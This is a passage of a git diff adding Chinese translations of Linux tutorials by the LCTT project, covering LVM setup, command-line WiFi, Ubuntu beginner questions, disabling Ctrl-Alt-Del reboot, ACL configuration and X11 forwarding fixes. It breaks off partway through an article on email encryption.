+ +理解vgs命令输出: + +- 卷组名。 +- 本卷组中使用的物理卷。 +- 显示本卷组中的可用空闲空间。 +- 卷组总大小。 +- 本卷组中的逻辑卷,这里我们还没创建,所以是0。 +- SN = 卷组包含的快照数量。(后面,我们会创建一个快照。) +- 卷组状态,如可写,可读,可调整大小,已导出,部分的和集群的。这里是wz——意为w = 可写,z = 可调整大小。 +- 卷组中使用的物理卷(PV)数量。 + +**7.** 使用命令来显示更多卷组信息。 + + # vgs -v + +
![Check Volume Group Information](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-12.jpg)
+
*检查卷组信息*
+ +**8.** 要获取更多关于新创建的卷组信息,运行以下命令。 + + # vgdisplay tecmint_add_vg + +
![List New Volume Groups](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-13.jpg)
+
*列出新卷组*
+ +- 卷组名称 +- 使用的LVM架构。 +- 可读写,备好待用。 +- 该卷组可以调整大小。 +- 使用和激活的物理磁盘数量。 +- 卷组总大小。 +- 这里单个PE大小为32。 +- 该卷组中可用的PE总数。 +- 当前还没有在卷组中创建任何LV,因此它是空闲的。 +- 该卷组的UUID。 + +### 创建逻辑卷 ### + +**9.** 现在,创建3个名为**tecmint_documents**,**tecmint_manager**和**tecmint_public**的逻辑卷。这里,我们可以看到如何分别以PE为单位和GB为单位来创建逻辑卷。首先,使用以下命令来列出当前逻辑卷。 + + # lvs + +
![List Current Volume Groups](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-14.jpg)
+
*列出当前卷组*
+ +**10.** 这些逻辑卷处于**vg_tecmint**卷组中使用**pvs**命令来列出并查看有多少空闲空间可以创建逻辑卷。 + + # pvs + +
![Check Free Space](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-15.jpg)
+
*检查空闲空间*
+ +**11.** 卷组大小为**54GB**,而且未被使用,所以我们可以在该组内创建LV。让我们将卷组平均划分大小来创建3个逻辑卷,就是说**54GB**/3 = **18GB**,创建出来的单个逻辑卷应该会是18GB。 + +#### 方法1: 使用PE创建逻辑卷 #### + +首先,让我们使用物理扩展(PE)为单位来创建逻辑卷。我们需要知道分配到该卷组的默认PE大小,以及总的可用PE大小来创建新的逻辑卷,运行下面的命令来获取使用中的卷组信息。 + + # vgdisplay tecmint_add_vg + +
![Create New Logical Volume](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-16.jpg)
+
*创建新逻辑卷*
+ +- 默认分配给该卷组的PE为32MB,这里单个的PE大小为32MB。 +- 总可用PE是1725。 + +只要用bc命令做一点小小的计算来看看就知道了。 + + # bc + +---------- + + 1725PE/3 = 575 PE. + 575 PE x 32MB = 18400 --> 18GB + +
![Calculate Disk Space](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-17.jpg)
+
*计算磁盘空间*
+ +按**CRTL+D**退出**bc**。现在让我们使用575个PE来创建3个逻辑卷。 + + # lvcreate -l (Extend size) -n (name_of_logical_volume) (volume_group) + + # lvcreate -l 575 -n tecmint_documents tecmint_add_vg + + # lvcreate -l 575 -n tecmint_manager tecmint_add_vg + + # lvcreate -l 575 -n tecmint_public tecmint_add_vg + +- -**l** – 使用扩展大小创建 +- -**n** – 给逻辑卷命名 + +使用lvs命令来列出创建的逻辑卷。 + + # lvs + +
![List Created Logical Volumes](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-18.jpg)
+
*列出创建的逻辑卷*
+ +#### 方法2: 使用GB大小创建逻辑卷 #### + +在使用GB大小创建逻辑卷时,我们不能获得精确的大小。因此,最好的办法是用扩展。 + + # lvcreate -L 18G -n tecmint_documents tecmint_add_vg + + # lvcreate -L 18G -n tecmint_manager tecmint_add_vg + + # lvcreate -L 18G -n tecmint_public tecmint_add_vg + + # lvcreate -L 17.8G -n tecmint_public tecmint_add_vg + +使用lvs命令来列出创建的逻辑卷。 + + # lvs + +
![Verify Created Logical Volumes](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-19.jpg)
+
*验证创建的逻辑卷*
+ +这里,我们可以看到,当创建第三个LV的时候,我们不能收集到18GB空间。这是因为尺寸有小小的改变,但在使用或者尺寸来创建LV时,这个问题会被忽略。 + +### 创建文件系统 ### + +**12.** 要使用逻辑卷,我们需要格式化。这里我使用ext4文件系统来创建卷,并打算挂载到**/mnt**。 + + # mkfs.ext4 /dev/tecmint_add_vg/tecmint_documents + + # mkfs.ext4 /dev/tecmint_add_vg/tecmint_public + + # mkfs.ext4 /dev/tecmint_add_vg/tecmint_manager + +
![Create Ext4 File System](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-20.jpg)
+
*创建Ext4文件系统*
+ +**13.** 让我们在**/mnt**下创建目录,并将已创建好文件系统的逻辑卷挂载上去。 + + # mount /dev/tecmint_add_vg/tecmint_documents /mnt/tecmint_documents/ + + # mount /dev/tecmint_add_vg/tecmint_public /mnt/tecmint_public/ + + # mount /dev/tecmint_add_vg/tecmint_manager /mnt/tecmint_manager/ + +使用下面的命令来列出并确认挂载点。 + + # df -h + +
![Mount Logical Volumes](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-22.jpg)
+
*挂载逻辑卷*
+ +#### 永久挂载 #### + +现在,这些逻辑卷是临时挂载上去的,要永久挂载,我们需要添加条目到fstab中。要达到这个目的,让我们使用下面的命令来获取挂载条目 + + # cat /etc/mtab + +在输入来自mtab中的挂载条目内容时,我们需要在fstab中做些小小的改变,修改rw为默认。 + + # vim /etc/fstab + +我们的fstab条目应该和下面的类似,使用wq!保存并退出fstab。 + + /dev/mapper/tecmint_add_vg-tecmint_documents /mnt/tecmint_documents ext4 defaults 0 0 + /dev/mapper/tecmint_add_vg-tecmint_public /mnt/tecmint_public ext4 defaults 0 0 + /dev/mapper/tecmint_add_vg-tecmint_manager /mnt/tecmint_manager ext4 defaults 0 0 + +
![Get mtab Mount Entry](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-23.jpg)*
+
*获取mtab挂载条目*
+ +
![Open fstab File](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-24.jpg)
+
*打开fstab文件*
+ +
![Add Auto Mount Entry](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-25.jpg)
+
*添加自动挂载条目*
+ +重启前,执行mount -a命令来检查fstab条目。 + + # mount -av + +
![Verify fstab Entry](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-26.jpg)
+
*验证fstab条目*
+ +这里,我们已经了解了怎样来使用逻辑卷构建灵活的存储,从使用物理磁盘到物理卷,物理卷到卷组,卷组再到逻辑卷。 + +在我即将奉献的文章中,我将介绍如何扩展卷组、逻辑卷,减少逻辑卷,拍快照以及从快照中恢复。 -------------------------------------------------------------------------------- + +via: http://www.tecmint.com/create-lvm-storage-in-linux/ + +作者:[Babin Lonston][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/babinlonston/ diff --git a/published/201410/20140815 How to manage a WiFi connection from the command line.md b/published/201410/20140815 How to manage a WiFi connection from the command line.md new file mode 100644 index 0000000000..27c5818355 --- /dev/null +++ b/published/201410/20140815 How to manage a WiFi connection from the command line.md @@ -0,0 +1,78 @@ +在命令行中管理 Wifi 连接 +================================================================================ +无论何时要安装一款新的 Linux 发行系统,一般的建议都是让您通过有线连接来接到互联网的。这主要的原因有两条:第一,您的无线网卡也许安装的驱动不正确而不能用;第二,如果您是从命令行中来安装系统的,管理 WiFi 就非常可怕。我总是试图避免在命令行中处理 WiFi 。但 Linux 的世界,应具有无所畏惧的精神。如果您不知道怎样操作,您需要继续往下来学习之,这就是写这篇文章的唯一原因。所以我迫使自己学习如何在命令行中管理 WiFi 连接。 + +通过命令行来设置连接到 WiFi 当然有很多种方法,但在这篇文章里,同时也是一个建议,我使用最基本的方法:那就是使用在任何发布版本中都有的包含在“默认包”里的程序和工具。或者说我偏向于使用这一种方法。使用此方法显而易见的好处是这个操作过程能在任意有 Linux 系统的机器上复用。不好的一点是它相对来说比较复杂。 + +首先,我假设您们都已经正确安装了无线网卡的驱动程序。没有这前提,后续的一切都如镜花水月。如果您你机器确实没有正确安装上,您应该看看关于您的发布版本的维基和文档。 + +然后您就可以用如下命令来检查是哪一个接口来支持无线连接的: + + $ iwconfig + +![](https://farm6.staticflickr.com/5578/14725621337_b174a3029c_z.jpg) + +一般来说,无线接口都叫做 wlan0。当然也有例外的,但在这篇教程中我们将会一直用通用叫法。 + +以防万一,你得确认下以使此接口服务是启动着的: + + $ sudo ip link set wlan0 up + +一但确认了无线接口是工作着的,你就可以用如下命令来扫描附近的无线网络了: + + $ sudo iw dev wlan0 scan | less + +![](https://farm4.staticflickr.com/3847/14909117931_e2f3d0feb0_z.jpg) + +根据扫描出的结果,可以得到网络的名字(它的 SSID),它的信息强度,以及它使用的是哪个安全加密的(如:WEP、WPA/WPA2)。从此时起,将会分成两条路线:情况很好、很容易的以及情况稍微复杂的。 + +如果您想连接的网络是没有加密的,您可以用下面的命令直接连接: + + $ sudo iw dev wlan0 connect [网络 SSID] + +如果网络是用 WEP 加密的,也非常容易: + + $ sudo iw dev wlan0 connect [网络 SSID] key 0:[WEP 密钥] + +但网络使用的是 WPA 或 WPA2 协议的话,事情就不好办了。这种情况,您就得使用叫做 wpa_supplicant 的工具,它默认是没有的。然后需要修改 /etc/wpa_supplicant/wpa_supplicant.conf 文件,增加如下行: + + network={ + ssid="[网络 ssid]" + psk="[密码]" + priority=1 + } + +我建议你​​在文件的末尾添加它,并确保其他配置都注释掉。要注意 SSID 和密码字串都是大小写敏感的。在技术上您也可以把接入点的名称当做是 SSID,使用 wpa_supplicant 工具的话会有合适的 SSID 来替代这个名字。 + +一旦配置文件修改完成后,在后台启动此命令: + + $ sudo wpa_supplicant -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf + +最后,无论是连到开放的网络还是加密的安全网络,您都得获取 IP 地址。简单地使用如下命令: + + $ sudo dhcpcd wlan0 + +如果一切顺利的话,您应该已经通过 DHCP 获取到了一个全新的本地 IP,这个过程是在后台自动完成的。如果想确认下是否真正连接上的话,您可以再一次输入如下命令检查: + + $ iwconfig + +![](https://farm4.staticflickr.com/3904/14725573368_7110407db8_z.jpg) + +最后,我认为多次重复第一步的检查操作是很有必要的。您永远不会知道什么时候您的图形用户界面挂了,或者是什么时候不能访问无线连接了,所以现在就准备着用命令来检测吧。还有,前面提到过的,有很多种方式(如 NetworkManager、[wicd][1]、[netcfg][2]、[wifi][3] 等等)来管理无线连接。我坚持使用最基本的方式,但在某些情况下,我使用的工具可能您还没有,所以您在之前就得先下载它们。另一方面,有很多高级的应用程序,他们确实是不包含在“默认包”里面的,使用它们会大大简化操作过程。但一般建议是开始的话最好从基本的来。 + +关于从命令行来管理连接 WiFi 您还有其他方式方法吗?请在评论中让我们知道。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/manage-wifi-connection-command-line.html + +作者:[Adrien Brochard][a] +译者:[runningwater](https://github.com/runningwater) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://wicd.sourceforge.net/ +[2]:https://www.archlinux.org/netcfg/ +[3]:https://github.com/rockymeza/wifi \ No newline at end of file diff --git a/published/201410/20140818 Can Ubuntu Do This--Answers to The 4 Questions New Users Ask Most.md b/published/201410/20140818 Can Ubuntu Do This--Answers to The 4 Questions New Users Ask Most.md new file mode 100644 index 0000000000..ff5a3bc4c1 --- /dev/null +++ b/published/201410/20140818 Can Ubuntu Do This--Answers to The 4 Questions New Users Ask Most.md @@ -0,0 +1,82 @@ +Ubuntu 有这功能吗?-回答4个新用户最常问的问题 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/08/Screen-Shot-2014-08-13-at-14.31.42.png) + +**在谷歌输入‘Can Ubunt[u]’,一系列的自动建议会展现在你面前。这些建议都是根据最近搜索用户最频繁检索而形成的。 + +对于Linux老用户来说,他们都胸有成竹的回答这些问题。但是对于新用户或者那些还在探索类似Ubuntu这样的发行版是否适合的人来说,他们不是十分清楚这些答案。这都是中肯,真实而且是基本的问题。 + +所以,在这片文章,我将会去回答4个最常会被搜索到的"Can Ubuntu...?"问题。 + +### Ubuntu可以取代Windows吗?### + +![Windows isn’t to everyones tastes — or needs](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/windows-9-desktop-rumour.png) + +*Windows 并不是每个人都喜欢或都必须的* + +是的。Ubuntu(和其他Linux发行版)是可以安装到任何一台有能力运行微软系统的电脑。 + +无论你觉得**应不应该**取代它,要不要替换只取决于你自己的需求。 + +例如,你在上大学,所需的软件都只是Windows而已。暂时而言,你是不需要完全更换你的系统。对于工作也是同样的道理。如果你工作所用到的软件只是微软Office, Adobe Creative Suite 或者是一个AutoCAD应用程序,不是很建议你更换系统,坚持你现在所用的软件就足够了。 + +但是对于那些用Ubuntu完全取代微软系统的我们,Ubuntu 提供了一个安全的桌面工作环境。这个桌面工作环境可以运行与支持很广的硬件环境。基本上,每个东西都有软件的支持,从办公套件到网页浏览器,视频应用程序,音乐应用程序到游戏。 + +### Ubuntu 可以运行 .exe文件吗?### + +![你可以在Ubuntu运行一些Windows应用程序。](http://www.omgubuntu.co.uk/wp-content/uploads/2013/01/adobe-photoshop-cs2-free-linux.png) + +*你可以在Ubuntu运行一些Windows应用程序* + +是可以的,尽管这些程序不是一步到位,或者不能保证运行成功。这是因为这些软件原本就是在Windows下运行的,本来就与其他桌面操作系统不兼容,包括Mac OS X 或者 Android (安卓系统)。 + +那些专门为Ubuntu(和其他 Debian 系列的 Linux 发行版本)的软件安装包都是带有“.deb”的文件后缀名。它们的安装过程与安装 .exe 的程序是一样的 -双击安装包,然后根据屏幕提示完成安装。 (LCTT 译注:RedHat 系统采用.rpm 文件,其它的也有各种不同的安装包格式,等等,作为初学者,你可以当成是各种压缩包格式来理解) + +但是Linux是很多样化的。它使用一个名为"Wine"的兼容层,可以运行许多当下很流行的应用程序。 (Wine不是一个模拟器,但是简单来看可以当成一个快捷方式。)这些程序不会像在Windows下运行得那么顺畅,或者有着出色的用户界面。然而,它足以满足日常的工作要求。 + +一些很出名的Windows软件是可以通过Wine来运行在Ubuntu操作系统上,这包括老版本的Photoshop和微软办公室软件。 有关兼容软件的列表,[参照Wine应用程序数据库][1]。 + +### Ubuntu会有病毒吗?### + +![它可能有错误,但是它并没有病毒](http://www.omgubuntu.co.uk/wp-content/uploads/2014/04/errors.jpg) + +*它可能有错误,但是它并有病毒* + +理论上,它会有病毒。但是,实际上它没有。 + +Linux发行版本是建立在一个病毒,蠕虫,隐匿程序都很难被安装,运行或者造成很大影响的环境之下的。 + +例如,很多应用程序都是在没有特别管理权限要求,以普通用户权限运行的。病毒要访问系统关键部分的请求也是需要用户管理权限的。很多软件的提供都是从那些维护良好的而且集中的资源库,例如Ubuntu软件中心,而不是一些不知名的网站。 由于这样的管理使得安装一些受感染的软件的几率可以忽略不计。 + +你应不应该在Ubuntu系统安装杀毒软件?这取决于你自己。为了自己的安心,或者如果你经常通过Wine来使用Windows软件,或者双系统,你可以安装ClamAV。它是一个免费的开源的病毒扫描应用程序。你可以在Ubuntu软件中心找到它。 + +你可以在Ubuntu维基百科了解更多关于病毒在Linux或者Ubuntu的信息。 [Ubuntu 维基百科][2]。 + +### 在Ubuntu上可以玩游戏吗?### + +![Steam有着上百个专门为Linux设计的高质量游戏。](http://www.omgubuntu.co.uk/wp-content/uploads/2012/11/steambeta.jpg) + +*Steam有着上百个专门为Linux设计的高质量游戏* + +当然可以!Ubuntu有着多样化的游戏,从传统简单的2D象棋,拼字游戏和扫雷游戏,到很现代化的AAA级别的要求显卡很强的游戏。 + +你首先可以去 **Ubuntu 软件中心**。这里你会找到很多免费的,开源的和收费的游戏,包括广受好评的独立制作游戏,像World of Goo 和Braid。当然也有其他传统游戏的提供,例如,Pychess(国际象棋),four-in-a-row(四子棋)和Scrabble clones(猜字拼字游戏)。 + +对于游戏狂热爱好者,你可以安装**Steam for Linux**。在这里你可以找到各种这样最新最好玩的游戏。 + +另外,记得留意这个网站:[Humble Bundle][3]。每个月都会有两周的这种“只买你想要的”的套餐。作为游戏平台,它是对Linux特别友好的支持者。因为每当一些新游戏出来的时候,它都保证可以在Linux下搜索到。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/08/ubuntu-can-play-games-replace-windows-questions + +作者:[Joey-Elijah Sneddon][a] +译者:[Shaohao Lin](https://github.com/shaohaolin) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://appdb.winehq.org/ +[2]:https://help.ubuntu.com/community/Antivirus +[3]:https://www.humblebundle.com/ \ No newline at end of file diff --git a/published/201410/20140818 Disable reboot using Ctrl-Alt-Del Keys in RHEL or CentOS.md b/published/201410/20140818 Disable reboot using Ctrl-Alt-Del Keys in RHEL or CentOS.md new file mode 100644 index 0000000000..0efa52c08e --- /dev/null +++ b/published/201410/20140818 Disable reboot using Ctrl-Alt-Del Keys in RHEL or CentOS.md @@ -0,0 +1,44 @@ +在RHEL/CentOS 5/6下停用按下Ctrl-Alt-Del 重启系统的功能 +================================================================================ +在Linux里,由于对安全的考虑,我们允许任何人按下**Ctrl-Alt-Del**来**重启**系统。但是在生产环境中,应该停用按下Ctrl-Alt-Del 重启系统的功能。 + +在这篇文章里,我们将要介绍如何在RHEL和CentOS下停用该热键。 + +### 在RHEL 5.X和CentOS 5.X下 ### + +保护**init**进程免于**Ctrl-Alt-Del**,像下面一样编辑'**/etc/inittab**'里由'**ca::ctrlaltdel**:'开头的一行: + + [root@localhost ~]# cat /etc/inittab + # Trap CTRL-ALT-DELETE + #ca::ctrlaltdel:/sbin/shutdown -t3 -r now + +我们还可以改变'ca::ctrlaltdel:'这行来输出日志 ,如果任何人想用该热键重启服务器,就会有日志, + + [root@localhost ~]# cat /etc/inittab + # Trap CTRL-ALT-DELETE + ca::ctrlaltdel:/bin/logger -p authpriv.warning -t init "Console-invoked Ctrl-Alt-Del was ignored" + +### 在RHEL6.X和CentOS 6.X下 ### + +在RHEL6.X和CentOS 6.X下, 该热键的行为由'**/etc/init/control-alt-delete.conf**'控制. + +**第一步** 在变化之前,先用下列命令备份配置 + + [root@localhost ~]# cp -v /etc/init/control-alt-delete.conf /etc/init/control-alt-delete.override + +**第二步**编辑文件,把'exec /sbin/shutdown'这一行用下方配置代替,这个配置会在每次按下Ctrl-Alt-Del 时输出日志: + + [root@localhost ~]# cat /etc/init/control-alt-delete.conf + exec /usr/bin/logger -p authpriv.notice -t init "Ctrl-Alt-Del was pressed and ignored" + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/disable-reboot-using-ctrl-alt-del-keys/ + +作者:[Pradeep Kumar][a] +译者:[2q1w2007](https://github.com/2q1w2007) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ \ No newline at end of file diff --git a/published/201410/20140818 How to configure Access Control Lists (ACLs) on Linux.md b/published/201410/20140818 How to configure Access Control Lists (ACLs) on Linux.md new file mode 100644 index 0000000000..c960731533 --- /dev/null +++ b/published/201410/20140818 How to configure Access Control Lists (ACLs) on Linux.md @@ -0,0 +1,120 @@ +配置 Linux 的访问控制列表(ACL) +================================================================================ +使用拥有权限控制的Liunx,工作是一件轻松的任务。它可以定义任何user,group和other的权限。无论是在桌面电脑或者不会有很多用户的虚拟Linux实例,或者当用户不愿意分享他们之间的文件时,这样的工作是很棒的。然而,如果你是在一个大型组织,你运行了NFS或者Samba服务给不同的用户,然后你将会需要灵活的挑选并设置很多复杂的配置和权限去满足你的组织不同的需求。 + +Linux(和其他Unix等POSIX兼容的操作系统)有一种被称为访问控制列表(ACL)的权限控制方法,它是一种权限分配之外的普遍范式。例如,默认情况下你需要确认3个权限组:owner、group和other。而使用ACL,你可以增加权限给其他用户或组别,而不单只是简单的"other"或者是拥有者不存在的组别。可以允许指定的用户A、B、C拥有写权限而不再是让他们整个组拥有写权限。 + +ACL支持多种Linux文件系统,包括ext2, ext3, ext4, XFS, Btfrs, 等。如果你不确定你的文件系统是否支持ACL,请参考文档。 + +### 在文件系统使ACL生效 ### + +首先,我们需要安装工具来管理ACL。 + +Ubuntu/Debian 中: + + $ sudo apt-get install acl + +CentOS/Fedora/RHEL 中: + + # yum -y install acl + +Archlinux 中: + + # pacman -S acl + +出于演示目的,我将使用ubuntu server版本,其他版本类似。 + +安装ACL完成后,需要激活我们磁盘分区的ACL功能,这样我们才能使用它。 + +首先,我们检查ACL功能是否已经开启。 + + $ mount + +![](https://farm4.staticflickr.com/3859/14768099340_eab7b53e28_z.jpg) + +你可以注意到,我的root分区中ACL属性已经开启。万一你没有开启,你需要编辑/etc/fstab文件,在你需要开启ACL的分区的选项前增加acl标记。 + +![](https://farm6.staticflickr.com/5566/14931771056_b48d5daae2_z.jpg) + +现在我们需要重新挂载分区(我喜欢完全重启,因为我不想丢失数据),如果你对其它分区开启ACL,你必须也重新挂载它。 + + $ sudo mount / -o remount + +干的不错!现在我们已经在我们的系统中开启ACL,让我们开始和它一起工作。 + +### ACL 范例 ### + +基础ACL通过两条命令管理:**setfacl**用于增加或者修改ACL,**getfacl**用于显示分配完的ACL。让我们来做一些测试。 + +我创建一个目录/shared给一个假设的用户,名叫freeuser + + $ ls -lh / + +![](https://farm4.staticflickr.com/3869/14954774565_49456360be_z.jpg) + +我想要分享这个目录给其他两个用户test和test2,一个拥有完整权限,另一个只有读权限。 + +首先,为用户test设置ACL: + + $ sudo setfacl -m u:test:rwx /shared + +现在用户test可以随意创建文件夹,文件和访问在/shared目录下的任何地方。 + +![](https://farm4.staticflickr.com/3924/14768099439_44780ff03b_z.jpg) + +现在我们增加只读权限给用户test2: + + $ sudo setfacl -m u:test2:rx /shared + +注意test2读取目录需要执行(x)权限 + +![](https://farm4.staticflickr.com/3918/14768215947_4cd86104d3_z.jpg) + +让我来解释下setfacl命令格式: + +- **-m** 表示修改ACL。你可以增加新的,或修改存在的ACL +- **u:** 表示用户。你可以使用 **g** 来设置组权限 +- **test** 用户名 +- **:rwx** 需要设置的权限。 + +现在让我向你展示如何读取ACL: + + $ ls -lh /shared + +![](https://farm6.staticflickr.com/5591/14768099389_9a7f3a6bf2_z.jpg) + +你可以注意到,正常权限后多一个+标记。这表示ACL已经设置成功。要具体看一下ACL,我们需要运行: + + $ sudo getfacl /shared + +![](https://farm4.staticflickr.com/3839/14768099289_81bd9d21a4_z.jpg) + +最后,如果你需要移除ACL: + + $ sudo setfacl -x u:test /shared + +![](https://farm4.staticflickr.com/3910/14768215837_d5306fe5bf_z.jpg) + +如果你想要立即擦除所有ACL条目: + + $ sudo setfacl -b /shared + +![](https://farm4.staticflickr.com/3863/14768099130_a7d175f067_z.jpg) + +最后,在设置了ACL文件或目录工作时,cp和mv命令会改变这些设置。在cp的情况下,需要添加“p”参数来复制ACL设置。如果这不可行,它将会展示一个警告。mv默认移动ACL设置,如果这也不可行,它也会向您展示一个警告。 + +### 总结 ### + +使用ACL让在你想要分享的文件上拥有更多的能力和控制,特别是在NFS/Samba服务。此外,如果你的主管共享主机,这个工具是必备的。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/configure-access-control-lists-acls-linux.html + +作者:[Christopher Valerio][a] +译者:[VicYu](http://www.vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/valerio diff --git a/published/201410/20140818 Linux FAQs with Answers--How to fix 'X11 forwarding request failed on channel 0'.md b/published/201410/20140818 Linux FAQs with Answers--How to fix 'X11 forwarding request failed on channel 0'.md new file mode 100644 index 0000000000..4d0b4ff59d --- /dev/null +++ b/published/201410/20140818 Linux FAQs with Answers--How to fix 'X11 forwarding request failed on channel 0'.md @@ -0,0 +1,50 @@ +Linux有问必答:如何修复“X11 forwarding request failed on channel 0”错误 +================================================================================ +> **问题**: 当我尝试使用SSH的X11转发选项连接到远程主机时, 我在登录时遇到了一个 "X11 forwarding request failed on channel 0" (X11 转发请求在通道0上失败)的错误。 我为什么会遇到这个错误,并且该如何修复它 + +![](https://farm6.staticflickr.com/5562/14909594691_ce7ca01b2d_z.jpg) + +首先,我们假设你已经正确启用了[SSH的X11转发][1]。 + +如果你在登录时遇到"X11 forwarding request failed on channel 0" (X11 转发请求在通道0上失败),这里可能有不同的原因,解决的方法也不同。 + +### 方案一 ### + +出于安全原因,OpenSSH服务默认将X11转发请求绑定到本地回环地址上,并且在DISPLAY环境变量中将主机名设置为“localhost”。在这样的设定下,一些 +X11客户端不能正确处理X11转发,这会导致报告中的错误。要解决这个问题,在/etc/ssh/sshd配置文件中加入下面这几行,它可以将X11转发请求绑定到外网卡地址上。 + + $ sudo vi /etc/ssh/sshd_config + +---------- + + X11Forwarding yes + X11UseLocalhost no + +重启SSH使设置生效: + + $ sudo /etc/init.d/ssh restart (Debian 6, Ubuntu or Linux Mint) + $ sudo systemctl restart ssh.service (Debian 7, CentOS/RHEL 7, Fedora) + $ sudo service sshd restart (CentOS/RHEL 6) + +### 方案二 ### + +如果远程主机的SSH服务禁止了IPv6,那么X11转发失败的错误也有可能发生。要解决这个情况下的错误。打开/etc/ssh/sshd配置文件,取消对"AddressFamily all" (如果有这条的话)的注释。接着加入下面这行。这会强制SSH服务只使用IPv4而不是IPv6。(LCTT 译注:此处恐有误,AddressFamily 没有 all 这个参数,而 any 代表同时支持 IPv6和 IPv4,以此处的场景而言,应该是关闭IPv6支持,只支持 IPv4,所以此处应该是“注释掉 AddressFamily any”才对。) + + $ sudo vi /etc/ssh/sshd_config + +---------- + + AddressFamily inet + +再说一次,重启SSH服务来完成设置 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/fix-broken-x11-forwarding-ssh.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2012/11/how-to-enable-x11-forwarding-using-ssh.html \ No newline at end of file diff --git a/published/201410/20140819 How to Encrypt Email in Linux.md b/published/201410/20140819 How to Encrypt Email in Linux.md new file mode 100644 index 0000000000..6996d816ea --- /dev/null +++ b/published/201410/20140819 How to Encrypt Email in Linux.md @@ -0,0 +1,105 @@ +在Linux中加密邮件 +================================================================================ +![Kgpg provides a nice GUI for creating and managing your encryption keys.](http://www.linux.com/images/stories/41373/fig-1-kgpg.png) +*Kgpg为了创建了管理加密秘钥提供了一个很好的GUI界面.* + +如果你一直在考虑如何加密电子邮件,那么在众多的邮件服务和邮件客户端中挑来挑去一定是件头痛的事情.可以考虑两种加密方法:SSL或TLS加密会保护发送到邮件服务器的登录名和密码.[Gunpg][1]是一款标准的、强大的Linux加密工具,可以加密和认证消息.如果你可以管理自己的GPG加密,并不考虑第三方工具,那它就够了,其它的我们将在稍后讨论. + +即便加密了消息,你仍然会暴露在流量分析中,因为消息头部必须是明文形式.所以需要另一款比如[Tor network][2]来隐藏你在互联网上的足迹.我们会看看各种邮件服务和客户端,以及其中的利弊. + +### 忘掉Web邮件 ### + +如果你使用过GMail, Yahoo,Hotmail或者其它Web邮件提供商的邮件服务,那就忘掉它们吧.你在Web浏览器里输入的任何信息都会暴露在JavaScript攻击中,而且无论服务提供商提供什么保障都是过眼云烟(译者注:此说法靠谱否?).GMail,Yahoo和Hotmail均提供SSL/TLS加密来防止消息被窃听.但是它们不会提供任何保护来阻碍它们自己的数据挖掘,因此并不会提供端到端的加密.Yahoo和Google都声称将在明年推出端到端的加密.对此我持怀疑态度,因为如果一旦它们的核心业务数据挖掘受到干预,它们就什么都干不了了. + +市面上也有各式各样的声称可以为所有类型的电子邮件都能提供安全加密的第三方邮件加密服务,比如[Virtru][3]和[SafeMess][4].对此我依旧表示怀疑,因为无论是谁,只要持有加密秘钥就可以访问你的消息,所以你还是要依赖于对他们的信任而不是技术. + +对等消息可以避免许多使用集中化服务中的缺陷.[RetroShare][5]和[Bitmessage][6]是两种流行的范例.我不知道它们是否如实所述,但这么说肯定有其可取之处. + +那Anddroid和iOS又如何呢?假设大部分的Android和iOS应用都没有权限获取你的消息的话,那就是最安全的.不要照搬我说的 -- 在应用将要安装到你的设备上时麻烦读读相关的服务条款并检查所要求的权限.即便在初次安装时它们的条款是可接受的,也记得单方面的条款改变是行业的标准,所以做最坏的打算是最安全的. + +### 零知识(Zero Knowledge) ### + +[Proton Mail][7]是一款全新的邮件服务,声称采用零知识就可以实现消息加密.认证和消息加密分为两个单独的步骤,Proton遵照Swiss隐私条款,它们不会通过日志记录用户的活动.零知识加密提供真正的安全.这代表只有你拥有你的加密秘钥,如果你丢了它们,你的消息就无法恢复了. + 